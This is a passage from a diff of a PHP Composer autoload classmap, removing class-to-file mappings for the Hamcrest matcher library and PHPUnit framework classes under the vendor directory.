'/hamcrest/hamcrest-php/hamcrest/Hamcrest/MatcherAssert.php', - 'Hamcrest\\Matchers' => __DIR__ . '/..' . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Matchers.php', - 'Hamcrest\\NullDescription' => __DIR__ . '/..' . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/NullDescription.php', - 'Hamcrest\\Number\\IsCloseTo' => __DIR__ . '/..' . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Number/IsCloseTo.php', - 'Hamcrest\\Number\\OrderingComparison' => __DIR__ . '/..' . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Number/OrderingComparison.php', - 'Hamcrest\\SelfDescribing' => __DIR__ . '/..' . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/SelfDescribing.php', - 'Hamcrest\\StringDescription' => __DIR__ . '/..' . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/StringDescription.php', - 'Hamcrest\\Text\\IsEmptyString' => __DIR__ . '/..' . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Text/IsEmptyString.php', - 'Hamcrest\\Text\\IsEqualIgnoringCase' => __DIR__ . '/..' . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Text/IsEqualIgnoringCase.php', - 'Hamcrest\\Text\\IsEqualIgnoringWhiteSpace' => __DIR__ . '/..' . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Text/IsEqualIgnoringWhiteSpace.php', - 'Hamcrest\\Text\\MatchesPattern' => __DIR__ . '/..' . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Text/MatchesPattern.php', - 'Hamcrest\\Text\\StringContains' => __DIR__ . '/..' . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Text/StringContains.php', - 'Hamcrest\\Text\\StringContainsIgnoringCase' => __DIR__ . '/..' . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Text/StringContainsIgnoringCase.php', - 'Hamcrest\\Text\\StringContainsInOrder' => __DIR__ . '/..' . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Text/StringContainsInOrder.php', - 'Hamcrest\\Text\\StringEndsWith' => __DIR__ . '/..' . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Text/StringEndsWith.php', - 'Hamcrest\\Text\\StringStartsWith' => __DIR__ . '/..' . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Text/StringStartsWith.php', - 'Hamcrest\\Text\\SubstringMatcher' => __DIR__ . '/..' . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Text/SubstringMatcher.php', - 'Hamcrest\\TypeSafeDiagnosingMatcher' => __DIR__ . '/..' . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/TypeSafeDiagnosingMatcher.php', - 'Hamcrest\\TypeSafeMatcher' => __DIR__ . '/..' . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/TypeSafeMatcher.php', - 'Hamcrest\\Type\\IsArray' => __DIR__ . '/..' . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Type/IsArray.php', - 'Hamcrest\\Type\\IsBoolean' => __DIR__ . '/..' . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Type/IsBoolean.php', - 'Hamcrest\\Type\\IsCallable' => __DIR__ . '/..' . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Type/IsCallable.php', - 'Hamcrest\\Type\\IsDouble' => __DIR__ . '/..' . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Type/IsDouble.php', - 'Hamcrest\\Type\\IsInteger' => __DIR__ . '/..' . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Type/IsInteger.php', - 'Hamcrest\\Type\\IsNumeric' => __DIR__ . '/..' . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Type/IsNumeric.php', - 'Hamcrest\\Type\\IsObject' => __DIR__ . '/..' . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Type/IsObject.php', - 'Hamcrest\\Type\\IsResource' => __DIR__ . '/..' . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Type/IsResource.php', - 'Hamcrest\\Type\\IsScalar' => __DIR__ . '/..' . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Type/IsScalar.php', - 'Hamcrest\\Type\\IsString' => __DIR__ . '/..' . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Type/IsString.php', - 'Hamcrest\\Util' => __DIR__ . '/..' . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Util.php', - 'Hamcrest\\Xml\\HasXPath' => __DIR__ . '/..' . '/hamcrest/hamcrest-php/hamcrest/Hamcrest/Xml/HasXPath.php', - 'PHPUnit\\Exception' => __DIR__ . '/..' . '/phpunit/phpunit/src/Exception.php', - 'PHPUnit\\Framework\\ActualValueIsNotAnObjectException' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Exception/ActualValueIsNotAnObjectException.php', - 'PHPUnit\\Framework\\Assert' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Assert.php', - 'PHPUnit\\Framework\\AssertionFailedError' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Exception/AssertionFailedError.php', - 'PHPUnit\\Framework\\CodeCoverageException' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Exception/CodeCoverageException.php', - 'PHPUnit\\Framework\\ComparisonMethodDoesNotAcceptParameterTypeException' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Exception/ComparisonMethodDoesNotAcceptParameterTypeException.php', - 'PHPUnit\\Framework\\ComparisonMethodDoesNotDeclareBoolReturnTypeException' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Exception/ComparisonMethodDoesNotDeclareBoolReturnTypeException.php', - 'PHPUnit\\Framework\\ComparisonMethodDoesNotDeclareExactlyOneParameterException' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Exception/ComparisonMethodDoesNotDeclareExactlyOneParameterException.php', - 'PHPUnit\\Framework\\ComparisonMethodDoesNotDeclareParameterTypeException' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Exception/ComparisonMethodDoesNotDeclareParameterTypeException.php', - 'PHPUnit\\Framework\\ComparisonMethodDoesNotExistException' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Exception/ComparisonMethodDoesNotExistException.php', - 'PHPUnit\\Framework\\Constraint\\ArrayHasKey' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Traversable/ArrayHasKey.php', - 'PHPUnit\\Framework\\Constraint\\BinaryOperator' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Operator/BinaryOperator.php', - 'PHPUnit\\Framework\\Constraint\\Callback' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Callback.php', - 'PHPUnit\\Framework\\Constraint\\ClassHasAttribute' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Object/ClassHasAttribute.php', - 'PHPUnit\\Framework\\Constraint\\ClassHasStaticAttribute' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Object/ClassHasStaticAttribute.php', - 'PHPUnit\\Framework\\Constraint\\Constraint' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Constraint.php', - 'PHPUnit\\Framework\\Constraint\\Count' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Cardinality/Count.php', - 'PHPUnit\\Framework\\Constraint\\DirectoryExists' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Filesystem/DirectoryExists.php', - 'PHPUnit\\Framework\\Constraint\\Exception' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Exception/Exception.php', - 'PHPUnit\\Framework\\Constraint\\ExceptionCode' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Exception/ExceptionCode.php', - 'PHPUnit\\Framework\\Constraint\\ExceptionMessage' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Exception/ExceptionMessage.php', - 'PHPUnit\\Framework\\Constraint\\ExceptionMessageRegularExpression' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Exception/ExceptionMessageRegularExpression.php', - 'PHPUnit\\Framework\\Constraint\\FileExists' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Filesystem/FileExists.php', - 'PHPUnit\\Framework\\Constraint\\GreaterThan' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Cardinality/GreaterThan.php', - 'PHPUnit\\Framework\\Constraint\\IsAnything' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/IsAnything.php', - 'PHPUnit\\Framework\\Constraint\\IsEmpty' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Cardinality/IsEmpty.php', - 'PHPUnit\\Framework\\Constraint\\IsEqual' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Equality/IsEqual.php', - 'PHPUnit\\Framework\\Constraint\\IsEqualCanonicalizing' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Equality/IsEqualCanonicalizing.php', - 'PHPUnit\\Framework\\Constraint\\IsEqualIgnoringCase' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Equality/IsEqualIgnoringCase.php', - 'PHPUnit\\Framework\\Constraint\\IsEqualWithDelta' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Equality/IsEqualWithDelta.php', - 'PHPUnit\\Framework\\Constraint\\IsFalse' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Boolean/IsFalse.php', - 'PHPUnit\\Framework\\Constraint\\IsFinite' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Math/IsFinite.php', - 'PHPUnit\\Framework\\Constraint\\IsIdentical' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/IsIdentical.php', - 'PHPUnit\\Framework\\Constraint\\IsInfinite' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Math/IsInfinite.php', - 'PHPUnit\\Framework\\Constraint\\IsInstanceOf' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Type/IsInstanceOf.php', - 'PHPUnit\\Framework\\Constraint\\IsJson' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/String/IsJson.php', - 'PHPUnit\\Framework\\Constraint\\IsNan' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Math/IsNan.php', - 'PHPUnit\\Framework\\Constraint\\IsNull' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Type/IsNull.php', - 'PHPUnit\\Framework\\Constraint\\IsReadable' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Filesystem/IsReadable.php', - 'PHPUnit\\Framework\\Constraint\\IsTrue' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Boolean/IsTrue.php', - 'PHPUnit\\Framework\\Constraint\\IsType' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Type/IsType.php', - 'PHPUnit\\Framework\\Constraint\\IsWritable' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Filesystem/IsWritable.php', - 'PHPUnit\\Framework\\Constraint\\JsonMatches' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/JsonMatches.php', - 'PHPUnit\\Framework\\Constraint\\JsonMatchesErrorMessageProvider' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/JsonMatchesErrorMessageProvider.php', - 'PHPUnit\\Framework\\Constraint\\LessThan' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Cardinality/LessThan.php', - 'PHPUnit\\Framework\\Constraint\\LogicalAnd' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Operator/LogicalAnd.php', - 'PHPUnit\\Framework\\Constraint\\LogicalNot' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Operator/LogicalNot.php', - 'PHPUnit\\Framework\\Constraint\\LogicalOr' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Operator/LogicalOr.php', - 'PHPUnit\\Framework\\Constraint\\LogicalXor' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Operator/LogicalXor.php', - 'PHPUnit\\Framework\\Constraint\\ObjectEquals' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Object/ObjectEquals.php', - 'PHPUnit\\Framework\\Constraint\\ObjectHasAttribute' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Object/ObjectHasAttribute.php', - 'PHPUnit\\Framework\\Constraint\\ObjectHasProperty' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Object/ObjectHasProperty.php', - 'PHPUnit\\Framework\\Constraint\\Operator' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Operator/Operator.php', - 'PHPUnit\\Framework\\Constraint\\RegularExpression' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/String/RegularExpression.php', - 'PHPUnit\\Framework\\Constraint\\SameSize' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Cardinality/SameSize.php', - 'PHPUnit\\Framework\\Constraint\\StringContains' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/String/StringContains.php', - 'PHPUnit\\Framework\\Constraint\\StringEndsWith' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/String/StringEndsWith.php', - 'PHPUnit\\Framework\\Constraint\\StringMatchesFormatDescription' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/String/StringMatchesFormatDescription.php', - 'PHPUnit\\Framework\\Constraint\\StringStartsWith' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/String/StringStartsWith.php', - 'PHPUnit\\Framework\\Constraint\\TraversableContains' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Traversable/TraversableContains.php', - 'PHPUnit\\Framework\\Constraint\\TraversableContainsEqual' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Traversable/TraversableContainsEqual.php', - 'PHPUnit\\Framework\\Constraint\\TraversableContainsIdentical' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Traversable/TraversableContainsIdentical.php', - 'PHPUnit\\Framework\\Constraint\\TraversableContainsOnly' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Traversable/TraversableContainsOnly.php', - 'PHPUnit\\Framework\\Constraint\\UnaryOperator' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Constraint/Operator/UnaryOperator.php', - 'PHPUnit\\Framework\\CoveredCodeNotExecutedException' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Exception/CoveredCodeNotExecutedException.php', - 'PHPUnit\\Framework\\DataProviderTestSuite' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/DataProviderTestSuite.php', - 'PHPUnit\\Framework\\Error' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Exception/Error.php', - 'PHPUnit\\Framework\\ErrorTestCase' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/ErrorTestCase.php', - 'PHPUnit\\Framework\\Error\\Deprecated' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Error/Deprecated.php', - 'PHPUnit\\Framework\\Error\\Error' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Error/Error.php', - 'PHPUnit\\Framework\\Error\\Notice' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Error/Notice.php', - 'PHPUnit\\Framework\\Error\\Warning' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Error/Warning.php', - 'PHPUnit\\Framework\\Exception' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Exception/Exception.php', - 'PHPUnit\\Framework\\ExceptionWrapper' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/ExceptionWrapper.php', - 'PHPUnit\\Framework\\ExecutionOrderDependency' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/ExecutionOrderDependency.php', - 'PHPUnit\\Framework\\ExpectationFailedException' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Exception/ExpectationFailedException.php', - 'PHPUnit\\Framework\\IncompleteTest' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/IncompleteTest.php', - 'PHPUnit\\Framework\\IncompleteTestCase' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/IncompleteTestCase.php', - 'PHPUnit\\Framework\\IncompleteTestError' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Exception/IncompleteTestError.php', - 'PHPUnit\\Framework\\InvalidArgumentException' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Exception/InvalidArgumentException.php', - 'PHPUnit\\Framework\\InvalidCoversTargetException' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Exception/InvalidCoversTargetException.php', - 'PHPUnit\\Framework\\InvalidDataProviderException' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Exception/InvalidDataProviderException.php', - 'PHPUnit\\Framework\\InvalidParameterGroupException' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/InvalidParameterGroupException.php', - 'PHPUnit\\Framework\\MissingCoversAnnotationException' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Exception/MissingCoversAnnotationException.php', - 'PHPUnit\\Framework\\MockObject\\Api' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Api/Api.php', - 'PHPUnit\\Framework\\MockObject\\BadMethodCallException' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Exception/BadMethodCallException.php', - 'PHPUnit\\Framework\\MockObject\\Builder\\Identity' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Builder/Identity.php', - 'PHPUnit\\Framework\\MockObject\\Builder\\InvocationMocker' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Builder/InvocationMocker.php', - 'PHPUnit\\Framework\\MockObject\\Builder\\InvocationStubber' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Builder/InvocationStubber.php', - 'PHPUnit\\Framework\\MockObject\\Builder\\MethodNameMatch' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Builder/MethodNameMatch.php', - 'PHPUnit\\Framework\\MockObject\\Builder\\ParametersMatch' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Builder/ParametersMatch.php', - 'PHPUnit\\Framework\\MockObject\\Builder\\Stub' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Builder/Stub.php', - 'PHPUnit\\Framework\\MockObject\\CannotUseAddMethodsException' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Exception/CannotUseAddMethodsException.php', - 'PHPUnit\\Framework\\MockObject\\CannotUseOnlyMethodsException' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Exception/CannotUseOnlyMethodsException.php', - 'PHPUnit\\Framework\\MockObject\\ClassAlreadyExistsException' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Exception/ClassAlreadyExistsException.php', - 'PHPUnit\\Framework\\MockObject\\ClassIsFinalException' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Exception/ClassIsFinalException.php', - 'PHPUnit\\Framework\\MockObject\\ClassIsReadonlyException' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Exception/ClassIsReadonlyException.php', - 'PHPUnit\\Framework\\MockObject\\ConfigurableMethod' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/ConfigurableMethod.php', - 'PHPUnit\\Framework\\MockObject\\ConfigurableMethodsAlreadyInitializedException' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Exception/ConfigurableMethodsAlreadyInitializedException.php', - 'PHPUnit\\Framework\\MockObject\\DuplicateMethodException' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Exception/DuplicateMethodException.php', - 'PHPUnit\\Framework\\MockObject\\Exception' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Exception/Exception.php', - 'PHPUnit\\Framework\\MockObject\\Generator' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Generator.php', - 'PHPUnit\\Framework\\MockObject\\IncompatibleReturnValueException' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Exception/IncompatibleReturnValueException.php', - 'PHPUnit\\Framework\\MockObject\\InvalidMethodNameException' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Exception/InvalidMethodNameException.php', - 'PHPUnit\\Framework\\MockObject\\Invocation' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Invocation.php', - 'PHPUnit\\Framework\\MockObject\\InvocationHandler' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/InvocationHandler.php', - 'PHPUnit\\Framework\\MockObject\\MatchBuilderNotFoundException' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Exception/MatchBuilderNotFoundException.php', - 'PHPUnit\\Framework\\MockObject\\Matcher' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Matcher.php', - 'PHPUnit\\Framework\\MockObject\\MatcherAlreadyRegisteredException' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Exception/MatcherAlreadyRegisteredException.php', - 'PHPUnit\\Framework\\MockObject\\Method' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Api/Method.php', - 'PHPUnit\\Framework\\MockObject\\MethodCannotBeConfiguredException' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Exception/MethodCannotBeConfiguredException.php', - 'PHPUnit\\Framework\\MockObject\\MethodNameAlreadyConfiguredException' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Exception/MethodNameAlreadyConfiguredException.php', - 'PHPUnit\\Framework\\MockObject\\MethodNameConstraint' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/MethodNameConstraint.php', - 'PHPUnit\\Framework\\MockObject\\MethodNameNotConfiguredException' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Exception/MethodNameNotConfiguredException.php', - 'PHPUnit\\Framework\\MockObject\\MethodParametersAlreadyConfiguredException' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Exception/MethodParametersAlreadyConfiguredException.php', - 'PHPUnit\\Framework\\MockObject\\MockBuilder' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/MockBuilder.php', - 'PHPUnit\\Framework\\MockObject\\MockClass' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/MockClass.php', - 'PHPUnit\\Framework\\MockObject\\MockMethod' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/MockMethod.php', - 'PHPUnit\\Framework\\MockObject\\MockMethodSet' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/MockMethodSet.php', - 'PHPUnit\\Framework\\MockObject\\MockObject' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/MockObject.php', - 'PHPUnit\\Framework\\MockObject\\MockTrait' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/MockTrait.php', - 'PHPUnit\\Framework\\MockObject\\MockType' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/MockType.php', - 'PHPUnit\\Framework\\MockObject\\OriginalConstructorInvocationRequiredException' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Exception/OriginalConstructorInvocationRequiredException.php', - 'PHPUnit\\Framework\\MockObject\\ReflectionException' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Exception/ReflectionException.php', - 'PHPUnit\\Framework\\MockObject\\ReturnValueNotConfiguredException' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Exception/ReturnValueNotConfiguredException.php', - 'PHPUnit\\Framework\\MockObject\\Rule\\AnyInvokedCount' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Rule/AnyInvokedCount.php', - 'PHPUnit\\Framework\\MockObject\\Rule\\AnyParameters' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Rule/AnyParameters.php', - 'PHPUnit\\Framework\\MockObject\\Rule\\ConsecutiveParameters' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Rule/ConsecutiveParameters.php', - 'PHPUnit\\Framework\\MockObject\\Rule\\InvocationOrder' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Rule/InvocationOrder.php', - 'PHPUnit\\Framework\\MockObject\\Rule\\InvokedAtIndex' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Rule/InvokedAtIndex.php', - 'PHPUnit\\Framework\\MockObject\\Rule\\InvokedAtLeastCount' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Rule/InvokedAtLeastCount.php', - 'PHPUnit\\Framework\\MockObject\\Rule\\InvokedAtLeastOnce' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Rule/InvokedAtLeastOnce.php', - 'PHPUnit\\Framework\\MockObject\\Rule\\InvokedAtMostCount' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Rule/InvokedAtMostCount.php', - 'PHPUnit\\Framework\\MockObject\\Rule\\InvokedCount' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Rule/InvokedCount.php', - 'PHPUnit\\Framework\\MockObject\\Rule\\MethodName' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Rule/MethodName.php', - 'PHPUnit\\Framework\\MockObject\\Rule\\Parameters' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Rule/Parameters.php', - 'PHPUnit\\Framework\\MockObject\\Rule\\ParametersRule' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Rule/ParametersRule.php', - 'PHPUnit\\Framework\\MockObject\\RuntimeException' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Exception/RuntimeException.php', - 'PHPUnit\\Framework\\MockObject\\SoapExtensionNotAvailableException' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Exception/SoapExtensionNotAvailableException.php', - 'PHPUnit\\Framework\\MockObject\\Stub' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Stub.php', - 'PHPUnit\\Framework\\MockObject\\Stub\\ConsecutiveCalls' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Stub/ConsecutiveCalls.php', - 'PHPUnit\\Framework\\MockObject\\Stub\\Exception' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Stub/Exception.php', - 'PHPUnit\\Framework\\MockObject\\Stub\\ReturnArgument' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Stub/ReturnArgument.php', - 'PHPUnit\\Framework\\MockObject\\Stub\\ReturnCallback' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Stub/ReturnCallback.php', - 'PHPUnit\\Framework\\MockObject\\Stub\\ReturnReference' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Stub/ReturnReference.php', - 'PHPUnit\\Framework\\MockObject\\Stub\\ReturnSelf' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Stub/ReturnSelf.php', - 'PHPUnit\\Framework\\MockObject\\Stub\\ReturnStub' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Stub/ReturnStub.php', - 'PHPUnit\\Framework\\MockObject\\Stub\\ReturnValueMap' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Stub/ReturnValueMap.php', - 'PHPUnit\\Framework\\MockObject\\Stub\\Stub' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Stub/Stub.php', - 'PHPUnit\\Framework\\MockObject\\UnknownClassException' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Exception/UnknownClassException.php', - 'PHPUnit\\Framework\\MockObject\\UnknownTraitException' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Exception/UnknownTraitException.php', - 'PHPUnit\\Framework\\MockObject\\UnknownTypeException' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Exception/UnknownTypeException.php', - 'PHPUnit\\Framework\\MockObject\\Verifiable' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/MockObject/Verifiable.php', - 'PHPUnit\\Framework\\NoChildTestSuiteException' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Exception/NoChildTestSuiteException.php', - 'PHPUnit\\Framework\\OutputError' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Exception/OutputError.php', - 'PHPUnit\\Framework\\PHPTAssertionFailedError' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Exception/PHPTAssertionFailedError.php', - 'PHPUnit\\Framework\\Reorderable' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Reorderable.php', - 'PHPUnit\\Framework\\RiskyTestError' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Exception/RiskyTestError.php', - 'PHPUnit\\Framework\\SelfDescribing' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/SelfDescribing.php', - 